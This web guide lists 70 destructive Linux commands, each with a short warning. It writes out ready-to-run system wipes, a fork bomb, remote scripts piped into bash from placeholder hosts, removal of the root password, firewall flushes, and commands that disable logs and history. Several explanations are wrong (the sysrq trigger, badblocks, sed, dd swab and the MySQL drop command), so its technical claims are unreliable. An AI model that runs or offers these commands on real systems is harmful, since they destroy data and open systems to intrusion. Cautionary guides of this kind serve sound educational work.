Skip to content

Dangerous Linux Commands

Discover the top dangerous Linux commands that can lead to data loss, system corruption, or security breaches. This guide is essential for Linux users who wish to understand the risks associated with powerful system commands and how to avoid potential disasters

Proceed with extreme caution. These commands can lead to data loss, system corruption, or expose security vulnerabilities.

1. Deleting Everything Recursively

rm -rf /

This command forcefully deletes all files and directories, starting from the root directory ("/"). It can result in complete data loss and system corruption.

2. Fork Bomb

:(){ :|:& };:

A fork bomb is a malicious script that replicates itself indefinitely, consuming system resources and causing system slowdown or even a complete system freeze.

3. Overwriting the Boot Sector

dd if=/dev/zero of=/dev/sda

This command overwrites the boot sector of the specified device (/dev/sda in this example), rendering it unbootable.

4. Disabling Network Interface

ifconfig eth0 down

Disabling a network interface can lead to a loss of network connectivity, potentially affecting remote access and communication.

5. Changing Permissions Recursively

chmod -R 777 /

Changing permissions recursively on the entire filesystem can make sensitive files and directories accessible to anyone, compromising system security.

6. Redirecting to Device File

cat /dev/urandom > /dev/sda

Redirecting output to a device file (/dev/sda) can overwrite data on the device, causing data loss or corruption.

7. Making System Unbootable

mv / /dev/null

Moving the root directory ("/") to /dev/null effectively renders the system unbootable.

8. Overloading CPU with bad blocks check

badblocks -wsv /dev/sda

Running badblocks with the -wsv flags on a device can stress the CPU and potentially lead to system instability.

9. Turning off the System

poweroff

This command immediately powers off the system, potentially causing data loss if not done safely.

10. Using dd to Generate Huge Files Quickly

dd if=/dev/zero bs=1M count=10240 > /tmp/hugefile

Creating a large file using dd can quickly consume all available disk space, potentially causing system crashes.

11. Messing up File Ownership

chown -R nobody:nobody /

Changing ownership to nobody:nobody for all files and directories in the system can disrupt normal system operation and security.

12. Running Commands as Another User

sudo -u nobody command

Executing commands as the "nobody" user can lead to unauthorized access and potentially malicious actions.

13. Redirecting Output to /dev/mem

cat /dev/urandom > /dev/mem

Redirecting data to /dev/mem can corrupt kernel memory and lead to system instability.

14. Filling Up Disk Space

cat /dev/zero > /tmp/filldisk

Filling up disk space with zeros can lead to a lack of available storage and system issues.

15. Recursively Changing File Extensions

rename 's/\.jpg$/.txt/' *.jpg

This command renames all .jpg files in the current directory to .txt files, potentially causing confusion and data loss.

16. Allowing Login as Root Without Password

passwd -d root

Disabling the root password allows anyone to log in as the root user without authentication, posing a severe security risk.

17. Redirecting Data to Hardware Ports

echo something > /dev/port

Redirecting data to hardware ports can interfere with hardware functionality and stability.

18. Mounting Nonexistent Devices

mount /dev/null /mnt/null

Attempting to mount nonexistent devices can lead to errors and system instability.

19. Unmounting the Root Filesystem

umount -l /

Unmounting the root filesystem ("/") can render the system unusable and may require a reboot to recover.

20. Running a Script from an Untrusted Source

curl http://unknown/source/script.sh | bash

Running scripts from untrusted sources can execute malicious code on your system, compromising security.

21. Reformatting a Disk

mkfs.ext4 /dev/sda1

Reformatting a disk (/dev/sda1) erases all data on it, leading to data loss.

22. Overwriting Configuration Files

echo "malicious content" > /etc/passwd

Overwriting critical configuration files like /etc/passwd can disrupt system functionality and compromise security.

23. Stopping Essential Services

service sshd stop

Stopping essential services like SSH can result in loss of remote access to the system.

24. Changing Shell for Root

chsh -s /bin/false root

Changing the root user's shell to /bin/false can prevent the root user from logging in, potentially causing system administration issues.

25. Corrupting Filesystem Metadata

debugfs -w /dev/sda1 -R "set_inode_field /root mode 0000"

Corrupting filesystem metadata can lead to data corruption and filesystem issues.

26. Using wildcard in chmod

chmod 444 /*

Using wildcards with chmod can change permissions on critical system files, potentially rendering the system unusable.

27. Changing the owner of system files

chown -R user:user /usr/bin

Changing ownership of system files can disrupt system operation and security.

28. Making Null Bytes in a File

printf "\0" > /etc/passwd

Inserting null bytes into files can corrupt data and disrupt system functionality.

29. Resetting iptables Rules

iptables -F

Resetting iptables rules can lead to loss of firewall rules and potential security vulnerabilities.

30. Overwriting Kernel Memory

echo c > /proc/sysrq-trigger

Overwriting kernel memory through /proc/sysrq-trigger can cause system crashes and data corruption.

31. Deleting Critical Filesystems in Real-Time

rm -rf --no-preserve-root /

This command forcefully deletes all files and directories, including critical filesystems, potentially rendering the system unbootable.

32. Creating an Infinite Number of Directories

mkdir -p infinite/{1..1000000}

Creating an excessive number of directories can lead to filesystem and performance issues.

33. Generating Random Data in Root Directory

dd if=/dev/urandom of=/dev/sda bs=1M

Overwriting a device with random data can result in data loss and may affect system functionality.

34. Making the System Unbootable by Removing the Kernel

rm -rf /boot

Removing the /boot directory can render the system unbootable.

35. Flushing the Root crontab

crontab -r

Deleting

the root user's crontab can disrupt scheduled tasks and system maintenance.

36. Removing All Snap Packages and Snap Itself

snap list | awk '{print $1}' | xargs -L1 sudo snap remove

Removing all snap packages and snap itself can affect software availability and functionality.

37. Resetting All iptables Rules and Locking Yourself Out

iptables -P INPUT DROP; iptables -P FORWARD DROP; iptables -P OUTPUT DROP; iptables -F

This command resets all iptables rules and sets a default DROP policy, potentially locking you out of network access.

38. Replacing All Text in Every File

find / -type f -exec sed -i 's/*/*/g' {} +

Replacing all text in every file with an asterisk can corrupt files and disrupt system functionality.

39. Redirecting System Logs to /dev/null

ln -sf /dev/null /var/log/syslog

Redirecting system logs to /dev/null can lead to loss of important system logs and diagnostic information.

40. Killing All Running Processes

kill -9 -1

Killing all running processes, including system processes, can result in system instability and loss of data.

41. Messing Up File System Permissions

chmod -R 000 /

Changing permissions to 000 on the root directory ("/") can render the system inaccessible and non-functional.

42. Creating Infinite Login Loop for All Users

echo 'while true; do :; done' >> /etc/profile

Creating an infinite loop in /etc/profile can prevent users from logging in and disrupt system operation.

43. Emptying Every File Recursively

find / -type f -exec sh -c '> {}' \;

Emptying every file in the filesystem can result in data loss and disrupt system functionality.

44. Changing Ownership of All Files to Nobody

chown -R nobody:nogroup /

Changing ownership of all files to nobody:nogroup can disrupt system operation and security.

45. Filling Up the Entire Disk Space

fallocate -l $(df / | tail -1 | awk '{print $4}') /tmp/fillup

Filling up the entire disk space can cause system crashes and data loss.

46. Running Untrusted Remote Script

bash <(wget -qO- https://somesite/malicious.sh)

Running untrusted remote scripts can execute malicious code on your system, compromising security.

47. Overwriting all data on all attached drives

for x in /dev/*d*; do dd if=/dev/zero of="$x" bs=1M; done

Overwriting all data on attached drives can result in data loss and render storage devices unusable.

48. Deleting All User Accounts

awk -F: '{ print $1 }' /etc/passwd | xargs -n 1 userdel

Deleting all user accounts can result in loss of user data and disrupt system access.

49. Making System Only Bootable to Single-User Mode

systemctl set-default rescue.target

Setting the system to boot into rescue mode only can restrict normal system functionality and access.

50. Changing the Root Password Without Knowing It

echo 'root:newpassword' | chpasswd

Changing the root password without proper authorization can lead to unauthorized access to the system.

51. Changing the SUID Bit

chmod -R +s /
Changes the SUID bit on all files, leading to potential privilege escalation vulnerabilities.

52. Flushing iptables and Allowing All Traffic

iptables -P INPUT ACCEPT; iptables -P FORWARD ACCEPT; iptables -P OUTPUT ACCEPT; iptables -t nat -F; iptables -t mangle -F; iptables -F; iptables -X
Removes all iptables rules and allows all incoming, outgoing, and forwarded traffic.

53. Changing the Grub Password

grub-mkpasswd-pbkdf2 | grub-mkconfig -o /boot/grub/grub.cfg
Locks you out of Grub and makes it difficult to boot the system or recover it.

54. Deleting All cron Jobs

for user in $(cut -f1 -d: /etc/passwd); do crontab -r -u $user; done
Deletes all cron jobs for all users.

55. Wiping out All Data from a Specific Directory Recursively

shred -uzn0 -v /important/directory/*
Permanently removes files from a specified directory.

56. Generating Random MAC Address for Network Interface

macchanger -r eth0
Changes the MAC address of your network interface, which can cause network issues.

57. Blocking All Incoming SSH Connections

iptables -A INPUT -p tcp --dport 22 -j DROP
Blocks all incoming SSH connections, locking you out of remote access.

58. Deleting All Data in MySQL

mysql -uroot -p -e "drop database /*;"

Deletes all databases in MySQL.

59. Making All Files in the Root Directory Immutable

chattr +i /*

Makes all files in the root directory immutable, so they can't be modified, deleted, or renamed.

60. Disabling All Binary Logging

echo "skip-log-bin" >> /etc/my.cnf
Disables all binary logging in MySQL, leading to loss of audit and rollback abilities.

61. Deleting All Users from the sudo Group

gpasswd -d $(getent group sudo | cut -d: -f4 | tr "," "\n") sudo
Removes all users from the sudo group, denying all users sudo access.

62. Locking All User Accounts

passwd -l $(awk -F: '{ print $1 }' /etc/passwd | grep -v "nologin")
Locks all user accounts, preventing anyone from logging in.

63. Disabling SELinux Temporarily

echo 0 > /selinux/enforce
Disables SELinux enforcement temporarily, reducing security measures.

64. Reversing Text in All Files

find / -type f -exec dd if={} of={} conv=swab \;
Reverses the content of all text files, making them unreadable.

65. Disabling History

unset HISTFILE
Disables command line history, reducing traceability of actions.

66. Changing All File Attributes Recursively

chattr -R +a /*
Makes all files append-only.

67. Reversing File Permissions

find / -type d -exec chmod 000 {} +; find / -type f -exec chmod 777 {} +
Makes directories inaccessible and files fully accessible.

68. Stopping All Running Services

for service in $(initctl list | grep -v 'stop/waiting' | awk '{print $1}'); do service $service stop; done
Stops all running services, possibly leading to a non-functional system.

69. Deleting Everything in the Home Directories

rm -rf /home/*
Deletes everything inside all users' home directories.

70. Setting Reboot on Kernel Panic

echo 1 > /proc/sys/kernel/panic
Sets the system to reboot immediately if a kernel panic occurs, leading to potential data loss and unsaved work.